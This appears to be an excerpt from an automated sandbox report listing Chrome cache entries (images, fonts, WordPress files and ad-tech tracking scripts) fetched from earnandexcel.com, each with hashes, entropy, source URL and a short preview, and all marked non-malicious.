URL:	https://sync.targeting.unrulymedia.com/csync/RX-f46229e0-d186-4f50-bcf4-fc793ddc8ce8-005
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 1150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	20053
Entropy (8bit):	7.973667598587297
Encrypted:	false
SSDEEP:	384:pSWtjeOlREx32w1HWQrM2l1zm0XCH81ZHuFfcCT2MC15RC5xy:MIlCce6+5m6l1uoMCYzy
MD5:	23F69E72D0197B9B04763471FEE08CA2
SHA1:	99C4ACACB4F1E94DE214A9072BF17548041FC6ED
SHA-256:	01D6829BB994CEC3FA7E002DCBDF8EDFCEABD672A1702800BDA9F55F69E67A0C
SHA-512:	BD7FDF1BDB889EA46FA7CC5768CA5768290363DB9C0B95CA1B5A904ECDFBBEEDCA5409E08B5D2ECF49C35D422916832DDF4B1D5E123EDB55AC956A339F9913C9
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Excel-MI-Dashboards-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................Y...........................!1.AQ.."2RSaq...........#BTVrst..$3456CDEU..7Fbcd..&...'.%..................................<.........................!1Q..AR"2q.#a..3S...4Bbr..$c.................?...E..1...4I..$E."..N\.ur.!....WQ..F.. ...].K....gG.zn....q/.r.X....!..R...........n;.'.......dg+3.1.,.R.bm$Y.....u.f..F..3.V9`.5.UK...._.r.!....X..\5Ln ..+Z..9......F.....!hP(......h...s.M...7.BO.,V..z.o;...T...k...F.l..t..J....q..5.umC..5ss.. .<. .q..N=...I!%...W0......Z...8\|......4e....9.N.PrPY.Z.QH......D.Tv.7.e..M....'.BU..5. ..FT..{V...Ff......Y..a9.6NN(..W....R.p.......o.....Y...N(..A%q.G*iSX5..R...).\|`.....wiuc.Bg...WV?4.X....u.r84m$......3%..C#.z...../.b...~..ST...).Aih.....N.(.d.<.EU..b.Ej.......y#......=.x!..AZfY.n(.l7.f...ed.l.,K...........

Chrome Cache Entry: 1151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 33092, version 1.0
Category:	downloaded
Size (bytes):	33092
Entropy (8bit):	7.993894754675653
Encrypted:	true
SSDEEP:	768:c+2lFKscxQAuDJ5m/xiYEQNMJjFaf0TteqKt:cZlhcxJuDa/xiMMJhaItzKt
MD5:	057478083C1D55EA0C2182B24F6DD72F
SHA1:	CAF557CD276A76992084EFC4C8857B66791A6B7F
SHA-256:	BB2F90081933C0F2475883CA2C5CFEE94E96D7314A09433FFFC42E37F4CFFD3B
SHA-512:	98FF4416DB333E5A5A8F8F299C393DD1A50F574A2C1C601A0724A8EA7FB652F6EC0BA2267390327185EBEA55F5C5049AB486D88B4C5FC1585A6A975238507A15
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2.......D......6...............................a......Z?HVAR...`?STAT.8'2..F/~.....\|.M....0....6.$.... ..x..<..[.%Q.i.<.N..t.Yx..5.A...\|..g#l....5.....D.Bt.......l.Y].)..(..H.s..V..ruM....[.....I.0h.v.Hc.R..]....`$.I)G.+.}....E%.H..\|..%nEE.....+.x..7\|........[..V....[.......0...CA.._....)2.$.....s_fw....+.V.H.B.<?.?..mloc..1.Q....a.r#...)......\|.F>..../6-.......t......>......tO.:f@b....u.I(.Bc..b....7.?A.....vE.}...kb]W7.h..$@......T1t.8.._?...~..,..I..."Y...1..s.V........R.Bf2..I....s.........u.P.&..D./"2qf....p.sv..)b5.yR.$MR3.@.E../>{w.....f...cN...2.v.....]>..Ow...9/!v...r..1.4.n.w...T......=...hRH!.....2`...u..82L...S.v.ik^.V.....@..N....d{..{...NN"'.H...H$..H.<..{?..x.....zv.}.~.N)4.g...X.....8\|}...e,%.:..;.Q..88...@..=UVHe....g..zD?..U...~.J...oMoP..6B"Y.{BN...vY<.o..r.7.7j%.Z%.'...]...........YK...,.a-;.M....>\.......%'+8Z.1K.y...9.(;.5 ..M..L.(..9...T)........hx..i2Y...m..{ulY...d......")^.,.n.~..r..S.o.$.....6=.i...N.....q0 ....

Chrome Cache Entry: 1153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1115)
Category:	downloaded
Size (bytes):	1195
Entropy (8bit):	5.136352788493526
Encrypted:	false
SSDEEP:	24:Ce4cZUH2ogoZAz4F7ky8v757uHAdivgF7d7RLQ7RGR5bPQkfcwa8fA4v75Q2XIpN:Cez2HbN+zaleVOgF5mQPQkfla8oMPXI7
MD5:	6BD342E07CE454DF76037B5A2632F56E
SHA1:	861031276B9473A4F738F456A0AC0B88ACE2CA1F
SHA-256:	E388E19CA38C825B329E762C79C66BBD41BD334F18312C5E97FDE0A8F64BCA36
SHA-512:	54C8CAA5EB1F859510D94F2AB783409EB1BF40526FA99CCC2156B4CCC74459F961F20C9B9736E7823F0F4A9EF5E6A3F86BF14834D64012E88B7FC3C0EBEC899A
Malicious:	false
Reputation:	low
URL:	https://invstatic101.creativecdn.com/encrypted-signals/encrypted-tag-g.js
Preview:	/*. ESP - RTBHouse. * @version v1.2.5. * @link https://www.rtbhouse.com/. */.!function(){async function e(){var e=window.localStorage.getItem("rtbhouse-esp"),n=window.localStorage.getItem("rtbhouse-segments"),o=pbjs.getUserIds()?.pubcid;return signal_decrypted={domain:encodeURIComponent(window.location.href)},e&&(signal_decrypted["rtbhouse-esp"]=e),o&&(signal_decrypted.EID=o),"browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics")&&(e=await document.browsingTopics(),signal_decrypted.topics=JSON.stringify(e)),n&&(signal_decrypted.segments=n),document.referrer&&(signal_decrypted.referrer=encodeURIComponent(document.referrer)),async function(e){return(await(await fetch("https://esp.rtbhouse.com/encrypt",{method:"POST",body:JSON.stringify({publisher_id:"rtbhouse",signal:e}),headers:{"Content-Type":"text/plain"}})).json()).message}(signal_decrypted).then(e=>e)}new class{constructor(e){Object.assign(this,e)}send_signal(){window.googletag.secureSignalProviders\|

Chrome Cache Entry: 1154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	73
Entropy (8bit):	4.493270155702426
Encrypted:	false
SSDEEP:	3:YCB9ACSdRMQE7XMIwdHr4:YCcTdNE7cIwFr4
MD5:	003290622A7198B3D640D383C0EF63DB
SHA1:	600BB3300697E4C5E5E15B264526B793CF88F08E
SHA-256:	3FFC8899ECC2573B2CC716BD79F62BCC44939A4EC053BE82B9D33F38913CC7D7
SHA-512:	0A563843002C1DE258E48949F3C3B136309E4AF20E6B09646D7C44722BEF52B88DA5399051F9951E8FED5412E3C361F3BB4F6E3A1E52C3CAC1A3C5B23ED1BF12
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/location-privacy-info
Preview:	{"gdprApplies":false,"isAdditionalPrivacyState":false,"countryCode":"US"}

Chrome Cache Entry: 1155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0530507460466545
Encrypted:	false
SSDEEP:	3:CUHa/t121l/JtH5:gkBD
MD5:	57F187C7A868FAEAC558007A8EB6CB2E
SHA1:	11AB10AB109FDB53D91D444AC781101F5A6360C6
SHA-256:	AA03DC59BDCA72631D2301E4297CFA030BD31B907DC138E7B973D12311C90A22
SHA-512:	3844065E1DD778A05E8CC39901FBF3191DED380D594359DF137901EC56CA52E03D57EB60ACC2421A0EE74F0733BBB5D781B7744685C26FB013A236F49B02FED3
Malicious:	false
Reputation:	low
URL:	https://match.justpremium.com/match/ox?ex_uid=dfc4be93-41a4-483c-a8c0-3826dacbbbd2
Preview:	GIF89a.............!.......,..............;

Chrome Cache Entry: 1156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (29677)
Category:	downloaded
Size (bytes):	58171
Entropy (8bit):	4.952248562448469
Encrypted:	false
SSDEEP:	384:T2vicPcBZDn/KRM34XMX6cD+d+AwlVHI+LQ3R+T55GPh5IIINXTXlx:AXMX6E+d+AwlxI+LQ3RC4h5DwTVx
MD5:	B5D1E2C87B60CE71C3FD90CA27073250
SHA1:	B65E3890EF1565F98971B344B4C85866A5F33860
SHA-256:	2CD9DE3DD26246204749CFF259BC34E8E6A47AE5D6E4528B9B28C75D68D50CDE
SHA-512:	0698905368E41D22F1026DCC64F716BE70BFDE1BC05BC85918242AF9C30351166726B4DC4426898E9EF0428EF0A2F875D8FED54BBC8B925289363A39FABBA165
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/css/dist/block-library/style.min.css
Preview:	@charset "UTF-8";#start-resizable-editor-section{display:none}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border:none;border-radius:1.55em;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:.667em 1.333em;text-align:center;text-decoration:none;overflow-wrap:break-word}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - .5em)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - .5em)}.wp-block-buttons>.wp-bl

Chrome Cache Entry: 1157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1662
Entropy (8bit):	5.019887540191818
Encrypted:	false
SSDEEP:	24:hYkCn0Xi5rXW9jgFi5GtZYAWnyfdWiaM/Njv3igeHa/UfbJijCV6/MBggE4NkIM:BnSxmBAsfM/N7JZ/UfdijCY/MB53N5M
MD5:	B47E18B9602901B4442894ACF9EFA708
SHA1:	7BDC44B5C2D6ED73405A512A0D25D096C6F6068B
SHA-256:	C16A536E9381A97C5D473A2B70AA9057BCEEBE38F05BB7D90360C96BFF579033
SHA-512:	4C58D58D21E66682EF6B9DEB3821BEB89834F69EDA4CD7471AD132B698A6E11E8E6B2D04620DFDD6B6B9A06CA6DFAC36C96AD12233A359CF1F02329CDEA917DD
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/topics/topics_frame.html?bidder=pubmatic
Preview:	<!DOCTYPE html>.<html lang="en">..<head>. <title>Topics demo</title>. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta http-equiv="origin-trial". content="AseYc2DtZGb//W5XVWgcoP6UF3L+dzpvN5W30ZfyW0aY9GPRVT9CgZXlFz8KHt25ohltfnkuImnAY3JETFGc+AgAAABfeyJvcmlnaW4iOiJodHRwczovL2Fkcy5wdWJtYXRpYy5jb206NDQzIiwiZmVhdHVyZSI6IlByaXZhY3lTYW5kYm94QWRzQVBJcyIsImV4cGlyeSI6MTY4ODA4MzE5OX0=">. <link href="favicon.ico" rel="shortcut icon">. <script>. async function getTopics() {. try {. if (. "browsingTopics" in document &&. document.featurePolicy.allowsFeature("browsing-topics"). ) {. const topics = await document.browsingTopics();. console.log(. "Called iframe:",. window.location.hostname,. topics,. "\nNumber of topics: ",. topics.length. );. return Promise.re

Chrome Cache Entry: 1158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 1159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156212&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D71%263pid%3D&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 1160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://a.tribalfusion.com/i.match?p=b10&u={rubicon_user_token}&redirect=https%3A//pixel.rubiconproject.com/tap.php%3Fv%3D111756%26nid%3D3856%26put%3D%24TF_USER_ID_ENC%24%26expires%3D180
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 1161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=33across&endpoint=us-east&us_privacy=1---
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 1162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.345716594214023
Encrypted:	false
SSDEEP:	3:YIzJ6XnKm/DR0xy2/CF+X7IAm2Y:YIFiV0x/CFiIEY
MD5:	5BCD96DF69B201C99EA5E75151216076
SHA1:	D6F629D6168574DCD638DAA702F21E0DDDDB0A18
SHA-256:	69EED40DEB98731C799EEB501843942317AB1C8D04F7E7F55953F3674A92B694
SHA-512:	4FA145220D788F09A4A97F72B5363D453DFADF02476FD9D54E0B71CBBB2022F83F3D67BA70FE59CF0ED5EAFAAB73F676989A432B9C601BC919CDBE22EA9DF414
Malicious:	false
Reputation:	low
Preview:	{"message": "Number of recommendations must be provided (missing \"count\" parameter)"}

Chrome Cache Entry: 1163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1839)
Category:	downloaded
Size (bytes):	1862
Entropy (8bit):	5.378704584910478
Encrypted:	false
SSDEEP:	48:kq9vYpOXSCKt9Y67c8ouBCWs3cTPaLGqviMaE8FEbEfESEHZ:kq9vYQiCKt9Y6g8ZBCCra3viHEIEbEfc
MD5:	83583A4061DDC27E8B6EE0DC269519CD
SHA1:	8B1C0ACC28729208F640473EB5D8FB82C4BA3E15
SHA-256:	C051B8B5EB2A0AEF699780F15A449491868FAA6F8B39B684B5AE8F64F345B94A
SHA-512:	3652AB4345C138245677F415607E6447358DC064B8B3AD7820F34BF225A0D70B0820AFD87E5D2235919AFC703248DA54F126DF8F793DFDA529D1FA336FBA22C3
Malicious:	false
Reputation:	low
URL:	https://f.vimeocdn.com/js_opt/modules/utils/vuid.min.js
Preview:	(function(t){var e=false,n,o,i,r=typeof t.navigator.sendBeacon==="function",u="https://vimeo.com/ablincoln/vuid",a;function f(){return 2147483647}function c(t,e){if(arguments.length===0){e=0;t=f()}return Math.floor(Math.random()(t-e+1))+e}function d(t){var e=(new Date).getTime()/1e3,n=parseInt(e,10);return t?e:Math.round((e-n)1e3)/1e3+" "+n}function v(t,e,n){var o,i,r,u;e\|=0;o=Math.pow(10,e);t=o;u=t>0\|-(t<0);r=t%1===.5u;i=Math.floor(t);if(r){t=i+(u>0)}return(r?t:Math.round(t))/o}function h(t){var e=t+"",n=e.charCodeAt(0),o,i;if(55296<=n&&n<=56319){o=n;if(e.length===1){return n}i=e.charCodeAt(1);return(o-55296)1024+(i-56320)+65536}if(56320<=n&&n<=57343){return n}return n}function g(){return v(c()/f()2147483647)}function l(t){var e=t.toString(),n=1,o,i,r;if(typeof e!=="undefined"&&e!==""){n=0;o=e.length-1;for(o;o>=0;o--){i=h(e.charAt(o));n=(n<<6&268435455)+i+(i<<14);r=n&266338304;if(r){n^=r>>21}}}return n}function s(t,e,n,o,i,r,u){var a,f;if(arguments.length>1){if(n){a=new Date;a.s

Chrome Cache Entry: 1164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27992)
Category:	downloaded
Size (bytes):	45523
Entropy (8bit):	5.502483696040155
Encrypted:	false
SSDEEP:	768:lIemaocDN2Blc2ni5KGalPu+JB/Ofns3/Fh3dm6JZIv:l75SlGglPu6cPs3/Fh3dm6JZo
MD5:	264BAE03F1D598BCA141E0840046B194
SHA1:	721F3A0714D44E5CB641FC99AD12B955130A88E3
SHA-256:	F563AEC552103867ADCB967E41B1699C9D15E1AA257C7A210F70F5CD71E6A0EF
SHA-512:	24337F15E27020FBA4E0B8E23823511898B50F419047AE3ED77EF7F96A954AFA5E6BF2F2B12E1CFC0ED9291129354E287DF33F022CD39A9FA4F5AAE80F1C0BB6
Malicious:	false
Reputation:	low
URL:	https://sc-static.net/scevent.min.js
Preview:	/** Snapchat Pixel SDK */.!function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,r=1,e=arguments.length;r<e;r++)for(var i in n=arguments[r])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,r,e){return new(r\|\|(r=Promise))((function(i,o){function a(t){try{u(e.next(t))}catch(t){o(t)}}function c(t){try{u(e.throw(t))}catch(t){o(t)}}function u(t){var n;t.done?i(t.value):(n=t.value,n instanceof r?n:new r((function(t){t(n)}))).then(a,c)}u((e=e.apply(t,n\|\|[])).next())}))}function r(t,n){var r,e,i,o,a={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:c(0),throw:c(1),return:c(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function c(c){return function(u){return function(c){if(r)throw new TypeError("Generator is already executing.");for(;o&&(o=0,c[0]&&(a=0)),a;)try{if(r=1,e&&(i=2&c[0]?e.return:c[0]?e.throw\|\|((i=e.return)&&i.call(e),0):e.nex

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2386)
Category:	downloaded
Size (bytes):	219497
Entropy (8bit):	5.5332449717793315
Encrypted:	false
SSDEEP:	3072:6eR+8bFtV8vWD7MJm8jwGXmJFRqFcJuuNfsYrWTrWbON:/Rp8+Xw/qfJvNfsYrgrWb6
MD5:	FC88AA8481FB3486A5F3537D12395587
SHA1:	C5790E9A022348A129DCFE026F16C82E8DDA31A9
SHA-256:	66474EE0BBAC857C7E92D6F57E579FA94639634430D62A9B9BB906A33D14DED0
SHA-512:	37C57876E56DA4A29941D367EEAA1BD1D54FDE509C3C23FFA2F5CDAC34D863649BA09FB272BE5C492BF882C8AA318C6915BE2FCC1C62F59879B3407CED4D4DEE
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/destination?id=AW-416707819&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__rep","vtp_containerId":"AW-416707819","vtp_remoteConfig":["map","enhanced_conversions",["map"]],"tag_id":1},{"function":"__ccd_pre_auto_pii","vtp_instanceDestinationId":"AW-416707819","tag_id":3}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"},{"function":"_eq","arg0":["macro",0],"arg1":"gtm.init"}],. "rules":[[["if",0],["add",0]],[["if",1],["add",1]]].},."runtime":[ [50,"__ccd_pre_auto_pii",[46,"a"],[50,"q",[46,"s"],[52,"t",[16,[15,"s"],"userData"]],[52,"u",[30,[18,[2,[15,"t"],"indexOf",[7,"@gmail."]],[27,1]],[18,[2,[15,"t"],"indexOf",[7,"@googlemail."]],[27,1]]]],[36,[0,[0,[0,[0,[0,[0,[16,[15,"s"],"tagName"],":"],[16,[15,"s"],"isVisible"]],":"],[17,[15,"t"],"length"]],":"],[15,"u"]]]],[52,"b",[13,[41,"$0"],[3,"$0",["require","internal.getFlags"]],["$0"]]],[52,"c",["require","internal.setPr

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8507), with no line terminators
Category:	downloaded
Size (bytes):	8507
Entropy (8bit):	5.6061356370358455
Encrypted:	false
SSDEEP:	192:JkSI+BYj+5uGpkFq/Ny/s2bYLxEygZebb:JkSI+BYjVpFqVy/syYLxEyWYb
MD5:	743997AD9A6311A8AC72AA2EF84F116E
SHA1:	F89A69C590E53B543C460CB3680CC3AF38FE55B7
SHA-256:	849124EB3DFB9EA434CA76626739B5DD58A6943E8C744077B1024188F9F41FC1
SHA-512:	CD5AB64C97B77368E787DED274E42D81E6A96A6308A1C755CB57A8502AC25ABD313E2DAA17AA71837AB9B7A8DA3F5AAD1C6FF8D2C4C129AEA719819409DE669B
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/3359/b5c3c4776130a13bff2d.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[3359],{3359:(e,t,i)=>{i.r(t),i.d(t,{ImaPlayer:()=>p});var a=i(7562),n=i(2110),s=i(3528),r=i(5595),d=i(5671),o=(e,t,i)=>new Promise(((a,n)=>{var s=e=>{try{d(i.next(e))}catch(e){n(e)}},r=e=>{try{d(i.throw(e))}catch(e){n(e)}},d=e=>e.done?a(e.value):Promise.resolve(e.value).then(s,r);d((i=i.apply(e,t)).next())}));const l="debug"===(0,r.Ph)("loglevel",window.location.search)?"https://imasdk.googleapis.com/js/sdkloader/ima3_debug.js":"https://imasdk.googleapis.com/js/sdkloader/ima3.js";class g{static onReady(e){return window.google&&window.google.ima?Promise.resolve(e()):new Promise((t=>{d(l,(()=>{t(e())}))})).then((e=>e))}static getDisplayContainer(e){return o(this,null,(function(){return g.onReady((()=>{const t=new window.google.ima.AdDisplayContainer(e);return t.initialize(),t}))}))}static getAdsLoader(e){return o(this,null,(function(){return g.onReady((()=>new window.google.ima.AdsLoader(e)))}))}static enableVPAID(){retu

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1042)
Category:	downloaded
Size (bytes):	1077
Entropy (8bit):	5.2116045156363295
Encrypted:	false
SSDEEP:	24:Q77BHScyH66a2IFav3jA2tfMUZ0MMlNt+1j9mtGMppM17hCn:Q7lSHg2IuDtnKMI41jMjpGe
MD5:	8852AB48E7D14F035A27F3C15D31C054
SHA1:	EED53BD391B539796DFE3B5BC5849170AB77C987
SHA-256:	6D7C73E67CBB5215D633CE9AD65F0C0377004621FCE62982568024178AC4B589
SHA-512:	E816777F9A0934CF482F3E3277DD832199E85704A0B75A51905833CE54914B7D2106CA7D6444CC6911FE47D030CAD1FEDB2BC0B73B44087702EE08FC19B74675
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/wp-util.min.js
